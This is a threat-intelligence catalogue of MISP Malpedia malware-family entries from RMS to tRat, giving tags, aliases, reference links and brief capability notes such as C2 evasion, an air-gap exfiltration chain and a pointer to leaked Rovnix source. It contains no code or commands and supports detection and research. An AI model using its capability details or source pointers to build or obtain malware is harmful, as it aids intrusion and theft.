https://www.mcafee.com/enterprise/en-us/assets/reports/rp-operation-sharpshooter.pdf |
RMS
CyberInt states that Remote Manipulator System (RMS) is a legitimate tool developed by Russian organization TektonIT and has been observed in campaigns conducted by TA505 as well as numerous smaller campaigns likely attributable to other, disparate, threat actors. In addition to the availability of commercial licenses, the tool is free for non-commercial use and supports the remote administration of both Microsoft Windows and Android devices.
The tag is: misp-galaxy:malpedia="RMS"
RMS is also known as:
-
Remote Manipulator System
Links |
rock
The tag is: misp-galaxy:malpedia="rock"
rock is also known as:
-
yellowalbatross
Links |
https://github.com/securitykitten/malware_references/blob/master/rmshixdAPT-C-15-20160630.pdf |
Rockloader
The tag is: misp-galaxy:malpedia="Rockloader"
Rockloader is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.rockloader |
Rofin
The tag is: misp-galaxy:malpedia="Rofin"
Rofin is also known as:
Links |
RogueRobinNET
A .NET variant of ps1.roguerobin
The tag is: misp-galaxy:malpedia="RogueRobinNET"
RogueRobinNET is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.roguerobin |
https://ti.360.net/blog/articles/latest-target-attack-of-darkhydruns-group-against-middle-east-en/ |
Rokku
The tag is: misp-galaxy:malpedia="Rokku"
Rokku is also known as:
Links |
RokRAT
The tag is: misp-galaxy:malpedia="RokRAT"
RokRAT is also known as:
Rombertik
The tag is: misp-galaxy:malpedia="Rombertik"
Rombertik is also known as:
-
CarbonGrabber
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.rombertik |
Romeo(Alfa,Bravo, …)
The tag is: misp-galaxy:malpedia="Romeo(Alfa,Bravo, …)"
Romeo(Alfa,Bravo, …) is also known as:
Links |
Roopirs
The tag is: misp-galaxy:malpedia="Roopirs"
Roopirs is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.roopirs |
Roseam
The tag is: misp-galaxy:malpedia="Roseam"
Roseam is also known as:
Links |
RotorCrypt
Ransomware that was discovered over the last months of 2016 and likely based on Gomasom, another ransomware family.
The tag is: misp-galaxy:malpedia="RotorCrypt"
RotorCrypt is also known as:
-
RotoCrypt
-
Rotor
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.rotorcrypt |
https://id-ransomware.blogspot.com/2016/10/rotorcrypt-ransomware.html |
Rover
The tag is: misp-galaxy:malpedia="Rover"
Rover is also known as:
Links |
Rovnix
Rovnix is a bootkit and consists of a driver loader (in the VBR) and the drivers (32bit, 64bit) themselves. It is part of the Carberp source code leak (https://github.com/nyx0/Rovnix). Rovnix has been used to protect Gozi ISFB, ReactorBot and Rerdom (at least).
The tag is: misp-galaxy:malpedia="Rovnix"
Rovnix is also known as:
-
BkLoader
-
Cidox
-
Mayachok
RoyalCli
The tag is: misp-galaxy:malpedia="RoyalCli"
RoyalCli is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.royalcli |
Royal DNS
The tag is: misp-galaxy:malpedia="Royal DNS"
Royal DNS is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.royal_dns |
Rozena
The tag is: misp-galaxy:malpedia="Rozena"
Rozena is also known as:
Links |
https://www.gdatasoftware.com/blog/2018/06/30862-fileless-malware-rozena |
RTM
The tag is: misp-galaxy:malpedia="RTM"
RTM is also known as:
Links |
https://www.welivesecurity.com/wp-content/uploads/2017/02/Read-The-Manual.pdf |
rtpos
The tag is: misp-galaxy:malpedia="rtpos"
rtpos is also known as:
Links |
https://boozallenmts.com/resources/news/rtpos-new-point-sale-malware-family-uncovered |
Ruckguv
The tag is: misp-galaxy:malpedia="Ruckguv"
Ruckguv is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.ruckguv |
https://www.proofpoint.com/us/threat-insight/post/hancitor-ruckguv-reappear |
Rumish
The tag is: misp-galaxy:malpedia="Rumish"
Rumish is also known as:
Links |
running_rat
The tag is: misp-galaxy:malpedia="running_rat"
running_rat is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.runningrat |
Rurktar
The tag is: misp-galaxy:malpedia="Rurktar"
Rurktar is also known as:
-
RCSU
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.rurktar |
https://www.gdatasoftware.com/blog/2017/07/29896-rurktar-spyware-under-construction |
Rustock
The tag is: misp-galaxy:malpedia="Rustock"
Rustock is also known as:
Ryuk
The tag is: misp-galaxy:malpedia="Ryuk"
Ryuk is also known as:
SAGE
The tag is: misp-galaxy:malpedia="SAGE"
SAGE is also known as:
-
Saga
Sakula RAT
Sakula / Sakurel is a trojan horse that opens a back door and downloads potentially malicious files onto the compromised computer.
The tag is: misp-galaxy:malpedia="Sakula RAT"
Sakula RAT is also known as:
-
Sakurel
Salgorea
The tag is: misp-galaxy:malpedia="Salgorea"
Salgorea is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.salgorea |
https://www.welivesecurity.com/wp-content/uploads/2018/03/ESET_OceanLotus.pdf |
Sality
The tag is: misp-galaxy:malpedia="Sality"
Sality is also known as:
Links |
https://www.botconf.eu/wp-content/uploads/2015/12/OK-P18-Kleissner-Sality.pdf |
SamSam
The tag is: misp-galaxy:malpedia="SamSam"
SamSam is also known as:
Sanny
The tag is: misp-galaxy:malpedia="Sanny"
Sanny is also known as:
-
Daws
Links |
http://contagiodump.blogspot.com/2012/12/end-of-year-presents-continue.html |
SappyCache
The tag is: misp-galaxy:malpedia="SappyCache"
SappyCache is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.sappycache |
Sarhust
The tag is: misp-galaxy:malpedia="Sarhust"
Sarhust is also known as:
-
Hussarini
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.sarhust |
https://www.trendmicro.com/vinfo/us/threat-encyclopedia/malware/bkdr_sarhust.a |
Sasfis
Sasfis acts mostly as a downloader that has been observed to download Asprox and FakeAV. According to a VirusBulletin article from 2012, it is likely authored by the same group as SmokeLoader.
The tag is: misp-galaxy:malpedia="Sasfis"
Sasfis is also known as:
-
Oficla
Satan Ransomware
The tag is: misp-galaxy:malpedia="Satan Ransomware"
Satan Ransomware is also known as:
-
DBGer
-
Lucky Ransomware
Satana
The tag is: misp-galaxy:malpedia="Satana"
Satana is also known as:
Links |
Sathurbot
The tag is: misp-galaxy:malpedia="Sathurbot"
Sathurbot is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.sathurbot |
https://www.welivesecurity.com/2017/04/06/sathurbot-distributed-wordpress-password-attack/ |
ScanPOS
The tag is: misp-galaxy:malpedia="ScanPOS"
ScanPOS is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.scanpos |
Schneiken
Schneiken is a VBS 'Double-dropper'. It comes with two RATs embedded in the code (Dunihi and Ratty). Entire code is Base64 encoded.
The tag is: misp-galaxy:malpedia="Schneiken"
Schneiken is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.schneiken |
https://engineering.salesforce.com/malware-analysis-new-trojan-double-dropper-5ed0a943adb |
Scote
The tag is: misp-galaxy:malpedia="Scote"
Scote is also known as:
Links |
ScreenLocker
The tag is: misp-galaxy:malpedia="ScreenLocker"
ScreenLocker is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.screenlocker |
SeaDaddy
The tag is: misp-galaxy:malpedia="SeaDaddy"
SeaDaddy is also known as:
SeaSalt
The tag is: misp-galaxy:malpedia="SeaSalt"
SeaSalt is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.seasalt |
SeDll
The tag is: misp-galaxy:malpedia="SeDll"
SeDll is also known as:
Links |
https://www.recordedfuture.com/chinese-threat-actor-tempperiscope/ |
Sedreco
The tag is: misp-galaxy:malpedia="Sedreco"
Sedreco is also known as:
-
azzy
-
eviltoss
Seduploader
The tag is: misp-galaxy:malpedia="Seduploader"
Seduploader is also known as:
-
carberplike
-
downrage
-
jhuhugit
-
jkeyskw
SendSafe
The tag is: misp-galaxy:malpedia="SendSafe"
SendSafe is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.sendsafe |
Serpico
The tag is: misp-galaxy:malpedia="Serpico"
Serpico is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.serpico |
ServHelper
ServHelper is written in Delphi and according to ProofPoint best classified as a backdoor.
ProofPoint noticed two distinct variant - "tunnel" and "downloader" (citation): "The 'tunnel' variant has more features and focuses on setting up reverse SSH tunnels to allow the threat actor to access the infected host via Remote Desktop Protocol (RDP). Once ServHelper establishes remote desktop access, the malware contains functionality for the threat actor to 'hijack' legitimate user accounts or their web browser profiles and use them as they see fit. The 'downloader' variant is stripped of the tunneling and hijacking functionality and is used as a basic downloader."
The tag is: misp-galaxy:malpedia="ServHelper"
ServHelper is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.servhelper |
shadowhammer
The tag is: misp-galaxy:malpedia="shadowhammer"
shadowhammer is also known as:
ShadowPad
The tag is: misp-galaxy:malpedia="ShadowPad"
ShadowPad is also known as:
-
XShellGhost
Shakti
The tag is: misp-galaxy:malpedia="Shakti"
Shakti is also known as:
SHAPESHIFT
The tag is: misp-galaxy:malpedia="SHAPESHIFT"
SHAPESHIFT is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.shapeshift |
shareip
The tag is: misp-galaxy:malpedia="shareip"
shareip is also known as:
-
remotecmd
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.shareip |
https://www.symantec.com/connect/blogs/buckeye-cyberespionage-group-shifts-gaze-us-hong-kong |
SHARPKNOT
The tag is: misp-galaxy:malpedia="SHARPKNOT"
SHARPKNOT is also known as:
-
Bitrep
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.sharpknot |
https://www.us-cert.gov/sites/default/files/publications/MAR-10135536.11.WHITE.pdf |
ShellLocker
The tag is: misp-galaxy:malpedia="ShellLocker"
ShellLocker is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.shelllocker |
https://twitter.com/JaromirHorejsi/status/813726714228604928 |
Shifu
The tag is: misp-galaxy:malpedia="Shifu"
Shifu is also known as:
Links |
http://researchcenter.paloaltonetworks.com/2017/01/unit42-2016-updates-shifu-banking-trojan/ |
Shim RAT
The tag is: misp-galaxy:malpedia="Shim RAT"
Shim RAT is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.shimrat |
https://foxitsecurity.files.wordpress.com/2016/06/fox-it_mofang_threatreport_tlp-white.pdf |
SHIPSHAPE
SHIPSHAPE is malware developed by APT30 that allows propagation and exfiltration of data over removable devices. APT30 may use this capability to exfiltrate data across air-gaps.
The tag is: misp-galaxy:malpedia="SHIPSHAPE"
SHIPSHAPE is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.shipshape |
Shujin
The tag is: misp-galaxy:malpedia="Shujin"
Shujin is also known as:
Links |
Shurl0ckr
The tag is: misp-galaxy:malpedia="Shurl0ckr"
Shurl0ckr is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.shurl0ckr |
Shylock
The tag is: misp-galaxy:malpedia="Shylock"
Shylock is also known as:
-
Caphaw
SideWinder
The tag is: misp-galaxy:malpedia="SideWinder"
SideWinder is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.sidewinder |
Sierra(Alfa,Bravo, …)
The tag is: misp-galaxy:malpedia="Sierra(Alfa,Bravo, …)"
Sierra(Alfa,Bravo, …) is also known as:
-
Destover
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.sierras |
https://www.symantec.com/connect/blogs/wannacry-ransomware-attacks-show-strong-links-lazarus-group |
Siggen6
The tag is: misp-galaxy:malpedia="Siggen6"
Siggen6 is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.siggen6 |
Silence
The tag is: misp-galaxy:malpedia="Silence"
Silence is also known as:
-
TrueBot
Silon
The tag is: misp-galaxy:malpedia="Silon"
Silon is also known as:
Siluhdur
The tag is: misp-galaxy:malpedia="Siluhdur"
Siluhdur is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.siluhdur |
Simda
The tag is: misp-galaxy:malpedia="Simda"
Simda is also known as:
-
iBank
Links |
Sinowal
The tag is: misp-galaxy:malpedia="Sinowal"
Sinowal is also known as:
-
Anserin
-
Mebroot
-
Quarian
-
Theola
-
Torpig
Sisfader
The tag is: misp-galaxy:malpedia="Sisfader"
Sisfader is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.sisfader |
https://medium.com/@Sebdraven/gobelin-panda-against-the-bears-1f462d00e3a4 |
Skarab Ransom
The tag is: misp-galaxy:malpedia="Skarab Ransom"
Skarab Ransom is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.skarab_ransom |
Skyplex
The tag is: misp-galaxy:malpedia="Skyplex"
Skyplex is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.skyplex |
Slave
The tag is: misp-galaxy:malpedia="Slave"
Slave is also known as:
Links |
https://www.cert.pl/en/news/single/slave-banatrix-and-ransomware/ |
Slingshot
-
2012 first sighted
-
Attack vector via compromised Microtik routers where victim’s got infection when they connect to Microtik router admin software - Winbox
-
2018 when discovered by Kaspersky Team
Infection Vector - Infected Microtik Router > Malicious DLL (IP4.dll) in Router > User connect via windbox > Malicious DLL downloaded on computer
The tag is: misp-galaxy:malpedia="Slingshot"
Slingshot is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.slingshot |
https://www.cyberscoop.com/kaspersky-slingshot-isis-operation-socom-five-eyes/ |
SLUB
The tag is: misp-galaxy:malpedia="SLUB"
SLUB is also known as:
Links |
smac
The tag is: misp-galaxy:malpedia="smac"
smac is also known as:
-
speccom
Links |
SmokeLoader
The SmokeLoader family is a generic backdoor with a range of capabilities which depend on the modules included in any given build of the malware. The malware is delivered in a variety of ways and is broadly associated with criminal activity. The malware frequently tries to hide its C2 activity by generating requests to legitimate sites such as microsoft.com, bing.com, adobe.com, and others. Typically the actual Download returns an HTTP 404 but still contains data in the Response Body.
The tag is: misp-galaxy:malpedia="SmokeLoader"
SmokeLoader is also known as:
-
Dofoil
Smominru
The tag is: misp-galaxy:malpedia="Smominru"
Smominru is also known as:
-
Ismo
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.smominru |
http://blog.netlab.360.com/mykings-the-botnet-behind-multiple-active-spreading-botnets/ |
Smrss32 Ransomware
The tag is: misp-galaxy:malpedia="Smrss32 Ransomware"
Smrss32 Ransomware is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.smrss32 |
SnatchLoader
A downloader trojan with some infostealer capabilities focused on the browser. Previously observed as part of RigEK campaigns.
The tag is: misp-galaxy:malpedia="SnatchLoader"
SnatchLoader is also known as:
SNEEPY
The tag is: misp-galaxy:malpedia="SNEEPY"
SNEEPY is also known as:
-
ByeByeShell
Links |
Snifula
The tag is: misp-galaxy:malpedia="Snifula"
Snifula is also known as:
-
Ursnif
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.snifula |
https://www.circl.lu/assets/files/tr-13/tr-13-snifula-analysis-report-v1.3.pdf |
Snojan
The tag is: misp-galaxy:malpedia="Snojan"
Snojan is also known as:
Links |
SNS Locker
The tag is: misp-galaxy:malpedia="SNS Locker"
SNS Locker is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.snslocker |
Sobaken
According to ESET, this RAT was derived from (the open-source) Quasar RAT.
The tag is: misp-galaxy:malpedia="Sobaken"
Sobaken is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.sobaken |
https://www.welivesecurity.com/2018/07/17/deep-dive-vermin-rathole/ |
Socks5 Systemz
The tag is: misp-galaxy:malpedia="Socks5 Systemz"
Socks5 Systemz is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.socks5_systemz |
SocksBot
The tag is: misp-galaxy:malpedia="SocksBot"
SocksBot is also known as:
-
BIRDDOG
-
Nadrac
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.socksbot |
https://www.accenture.com/t00010101T000000Zw/gb-en/_acnmedia/PDF-83/Accenture-Goldfin-Security-Alert.pdf[https://www.accenture.com/t00010101T000000Zw/gb-en/_acnmedia/PDF-83/Accenture-Goldfin-Security-Alert.pdf] |
https://documents.trendmicro.com/assets/tech-brief-untangling-the-patchwork-cyberespionage-group.pdf |
Solarbot
The tag is: misp-galaxy:malpedia="Solarbot"
Solarbot is also known as:
-
Napolar
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.solarbot |
https://www.welivesecurity.com/2013/09/25/win32napolar-a-new-bot-on-the-block/ |
soraya
The tag is: misp-galaxy:malpedia="soraya"
soraya is also known as:
Links |
https://www.arbornetworks.com/blog/asert/the-best-of-both-worlds-soraya/ |
Sorgu
The tag is: misp-galaxy:malpedia="Sorgu"
Sorgu is also known as:
Links |
https://www.symantec.com/blogs/threat-intelligence/leafminer-espionage-middle-east |
SOUNDBITE
The tag is: misp-galaxy:malpedia="SOUNDBITE"
SOUNDBITE is also known as:
-
denis
SPACESHIP
SPACESHIP searches for files with a specified set of file extensions and copies them to a removable drive. FireEye believes that SHIPSHAPE is used to copy SPACESHIP to a removable drive, which could be used to infect another victim computer, including an air-gapped computer. SPACESHIP is then used to steal documents from the air-gapped system, copying them to a removable drive inserted into the SPACESHIP-infected system
The tag is: misp-galaxy:malpedia="SPACESHIP"
SPACESHIP is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.spaceship |
Spedear
The tag is: misp-galaxy:malpedia="Spedear"
Spedear is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.spedear |
https://www.symantec.com/blogs/threat-intelligence/thrip-hits-satellite-telecoms-defense-targets |
Spora
The tag is: misp-galaxy:malpedia="Spora"
Spora is also known as:
SpyBot
The tag is: misp-galaxy:malpedia="SpyBot"
SpyBot is also known as:
Links |
win.spynet_rat
The tag is: misp-galaxy:malpedia="win.spynet_rat"
win.spynet_rat is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.spynet_rat |
SquirtDanger
The tag is: misp-galaxy:malpedia="SquirtDanger"
SquirtDanger is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.squirtdanger |
SslMM
The tag is: misp-galaxy:malpedia="SslMM"
SslMM is also known as:
Links |
https://paper.seebug.org/papers/APT/APT_CyberCriminal_Campagin/2015/TheNaikonAPT-MsnMM1.pdf |
https://securelist.com/analysis/publications/69953/the-naikon-apt/ |
Stabuniq
The tag is: misp-galaxy:malpedia="Stabuniq"
Stabuniq is also known as:
Stampedo
The tag is: misp-galaxy:malpedia="Stampedo"
Stampedo is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.stampedo |
StarCruft
The tag is: misp-galaxy:malpedia="StarCruft"
StarCruft is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.starcruft |
StarLoader
The tag is: misp-galaxy:malpedia="StarLoader"
StarLoader is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.starloader |
StarsyPound
The tag is: misp-galaxy:malpedia="StarsyPound"
StarsyPound is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.starsypound |
StartPage
Potentially unwanted program that changes the startpage of browsers to induce ad impressions.
The tag is: misp-galaxy:malpedia="StartPage"
StartPage is also known as:
-
Easy Television Access Now
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.startpage |
https://www.bleepingcomputer.com/virus-removal/remove-search-searchetan.com-chrome-new-tab-page |
StealthWorker Go
The tag is: misp-galaxy:malpedia="StealthWorker Go"
StealthWorker Go is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.stealthworker |
StegoLoader
The tag is: misp-galaxy:malpedia="StegoLoader"
StegoLoader is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.stegoloader |
https://www.secureworks.com/research/stegoloader-a-stealthy-information-stealer |
Stinger
The tag is: misp-galaxy:malpedia="Stinger"
Stinger is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.stinger |
STOP Ransomware
The tag is: misp-galaxy:malpedia="STOP Ransomware"
STOP Ransomware is also known as:
-
Djvu
-
KeyPass
Links |
Stration
The tag is: misp-galaxy:malpedia="Stration"
Stration is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.stration |
Stresspaint
The tag is: misp-galaxy:malpedia="Stresspaint"
Stresspaint is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.stresspaint |
https://security.radware.com/malware/stresspaint-malware-targeting-facebook-credentials/ |
StrongPity
The tag is: misp-galaxy:malpedia="StrongPity"
StrongPity is also known as:
Stuxnet
The tag is: misp-galaxy:malpedia="Stuxnet"
Stuxnet is also known as:
SunOrcal
The tag is: misp-galaxy:malpedia="SunOrcal"
SunOrcal is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.sunorcal |
http://pwc.blogs.com/cyber_security_updates/2016/03/index.html |
SuppoBox
The tag is: misp-galaxy:malpedia="SuppoBox"
SuppoBox is also known as:
-
Bayrob
-
Nivdort
Swift?
The tag is: misp-galaxy:malpedia="Swift?"
Swift? is also known as:
Links |
https://securelist.com/blog/sas/77908/lazarus-under-the-hood/ |
Sword
The tag is: misp-galaxy:malpedia="Sword"
Sword is also known as:
Links |
sykipot
The tag is: misp-galaxy:malpedia="sykipot"
sykipot is also known as:
-
getkys
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.sykipot |
https://www.alienvault.com/blogs/labs-research/sykipot-is-back |
SynAck
The tag is: misp-galaxy:malpedia="SynAck"
SynAck is also known as:
Links |
https://securelist.com/synack-targeted-ransomware-uses-the-doppelganging-technique/85431/ |
SyncCrypt
The tag is: misp-galaxy:malpedia="SyncCrypt"
SyncCrypt is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.synccrypt |
SynFlooder
The tag is: misp-galaxy:malpedia="SynFlooder"
SynFlooder is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.synflooder |
Synth Loader
The tag is: misp-galaxy:malpedia="Synth Loader"
Synth Loader is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.synth_loader |
Sys10
The tag is: misp-galaxy:malpedia="Sys10"
Sys10 is also known as:
Links |
https://paper.seebug.org/papers/APT/APT_CyberCriminal_Campagin/2015/TheNaikonAPT-MsnMM1.pdf |
https://securelist.com/analysis/publications/69953/the-naikon-apt/ |
Syscon
The tag is: misp-galaxy:malpedia="Syscon"
Syscon is also known as:
Links |
http://blog.trendmicro.com/trendlabs-security-intelligence/syscon-backdoor-uses-ftp-as-a-cc-channel/ |
SysGet
The tag is: misp-galaxy:malpedia="SysGet"
SysGet is also known as:
Links |
Sysraw Stealer
Sysraw stealer got its name because at some point, it was started as "ZSysRaw\sysraw.exe". PDB strings suggest the name "Clipsa" though. First stage connects to /WPCoreLog/, the second one to /WPSecurity/. Its behavior suggest that it is an info stealer. It creates a rather large amount of files in a subdirectory (e.g. data) named "1?[-+].dat" and POSTs them.
The tag is: misp-galaxy:malpedia="Sysraw Stealer"
Sysraw Stealer is also known as:
-
Clipsa
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.sysraw_stealer |
https://zerophagemalware.com/2017/09/21/rig-ek-via-rulan-drops-an-infostealer/ |
SysScan
The tag is: misp-galaxy:malpedia="SysScan"
SysScan is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.sysscan |
Szribi
The tag is: misp-galaxy:malpedia="Szribi"
Szribi is also known as:
Links |
https://www.virusbulletin.com/virusbulletin/2007/11/spam-kernel |
TabMsgSQL
The tag is: misp-galaxy:malpedia="TabMsgSQL"
TabMsgSQL is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.tabmsgsql |
taidoor
The tag is: misp-galaxy:malpedia="taidoor"
taidoor is also known as:
-
simbot
Taleret
The tag is: misp-galaxy:malpedia="Taleret"
Taleret is also known as:
Tandfuy
The tag is: misp-galaxy:malpedia="Tandfuy"
Tandfuy is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.tandfuy |
Tapaoux
The tag is: misp-galaxy:malpedia="Tapaoux"
Tapaoux is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.tapaoux |
Tarsip
The tag is: misp-galaxy:malpedia="Tarsip"
Tarsip is also known as:
Links |
tDiscoverer
The tag is: misp-galaxy:malpedia="tDiscoverer"
tDiscoverer is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.tdiscoverer |
https://www2.fireeye.com/rs/848-DID-242/images/rpt-apt29-hammertoss.pdf |
TDTESS
The tag is: misp-galaxy:malpedia="TDTESS"
TDTESS is also known as:
Links |
TeamBot
Recently, Check Point researchers spotted a targeted attack against officials within government finance authorities and representatives in several embassies in Europe. The attack, which starts with a malicious attachment disguised as a top secret US document, weaponizes TeamViewer, the popular remote access and desktop sharing software, to gain full control of the infected computer. This is achieved by sideloading another DLL among the legit TeamViewer.
The tag is: misp-galaxy:malpedia="TeamBot"
TeamBot is also known as:
-
FINTEAM
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.teambot |
https://research.checkpoint.com/finteam-trojanized-teamviewer-against-government-targets/ |
TefoSteal
The tag is: misp-galaxy:malpedia="TefoSteal"
TefoSteal is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.tefosteal |
TeleBot
The tag is: misp-galaxy:malpedia="TeleBot"
TeleBot is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.telebot |
http://www.welivesecurity.com/2016/12/13/rise-telebots-analyzing-disruptive-killdisk-attacks/ |
TeleDoor
The tag is: misp-galaxy:malpedia="TeleDoor"
TeleDoor is also known as:
Tempedreve
The tag is: misp-galaxy:malpedia="Tempedreve"
Tempedreve is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.tempedreve |
Terminator RAT
The tag is: misp-galaxy:malpedia="Terminator RAT"
Terminator RAT is also known as:
-
Fakem RAT
Termite
The tag is: misp-galaxy:malpedia="Termite"
Termite is also known as:
TeslaCrypt
The tag is: misp-galaxy:malpedia="TeslaCrypt"
TeslaCrypt is also known as:
-
cryptesla
Thanatos
The tag is: misp-galaxy:malpedia="Thanatos"
Thanatos is also known as:
-
Alphabot
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.thanatos |
Thanatos Ransomware
The tag is: misp-galaxy:malpedia="Thanatos Ransomware"
Thanatos Ransomware is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.thanatos_ransom |
https://blog.talosintelligence.com/2018/06/ThanatosDecryptor.html |
ThreeByte
The tag is: misp-galaxy:malpedia="ThreeByte"
ThreeByte is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.threebyte |
https://www.fireeye.com/blog/threat-research/2014/09/darwins-favorite-apt-group-2.html |
ThumbThief
The tag is: misp-galaxy:malpedia="ThumbThief"
ThumbThief is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.thumbthief |
http://www.welivesecurity.com/2016/03/23/new-self-protecting-usb-trojan-able-to-avoid-detection/ |
Thunker
The tag is: misp-galaxy:malpedia="Thunker"
Thunker is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.thunker |
Tidepool
The tag is: misp-galaxy:malpedia="Tidepool"
Tidepool is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.tidepool |
Tinba
The tag is: misp-galaxy:malpedia="Tinba"
Tinba is also known as:
-
Illi
-
TinyBanker
-
Zusy
TinyLoader
The tag is: misp-galaxy:malpedia="TinyLoader"
TinyLoader is also known as:
TinyMet
TinyMet is a meterpreter stager.
The tag is: misp-galaxy:malpedia="TinyMet"
TinyMet is also known as:
-
TiniMet
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.tinymet |
https://www.flashpoint-intel.com/blog/fin7-revisited:-inside-astra-panel-and-sqlrat-malware/ |
TinyNuke
TinyNuke (aka Nuclear Bot) is a fully-fledged banking trojan including HiddenDesktop/VNC server and a reverse socks4 server. It was for sale on underground marketplaces for $2500 in 2016. The program’s author claimed the malware was written from scratch, but that it functioned similarly to the ZeuS banking trojan in that it could steal passwords and inject arbitrary content when victims visited banking Web sites. However, he then proceeded to destroy his own reputation on hacker forums by promoting his development too aggressively. As a displacement activity, he published his source code on Github. XBot is an off-spring of TinyNuke, but very similar to its ancestor.
The tag is: misp-galaxy:malpedia="TinyNuke"
TinyNuke is also known as:
-
MicroBankingTrojan
-
Nuclear Bot
-
NukeBot
-
Xbot
TinyTyphon
The tag is: misp-galaxy:malpedia="TinyTyphon"
TinyTyphon is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.tinytyphon |
TinyZbot
The tag is: misp-galaxy:malpedia="TinyZbot"
TinyZbot is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.tinyzbot |
Tiop
The tag is: misp-galaxy:malpedia="Tiop"
Tiop is also known as:
Links |
Tofsee
The tag is: misp-galaxy:malpedia="Tofsee"
Tofsee is also known as:
-
Gheg
Links |
https://www.cert.pl/en/news/single/a-deeper-look-at-tofsee-modules/ |
https://zerophagemalware.com/2017/03/24/terror-ek-delivers-tofsee-spambot/ |
TorrentLocker
The tag is: misp-galaxy:malpedia="TorrentLocker"
TorrentLocker is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.torrentlocker |
tRat
tRat is a modular RAT written in Delphi and has appeared in campaigns in September and October of 2018.
The tag is: misp-galaxy:malpedia="tRat"
tRat is also known as:
Links |
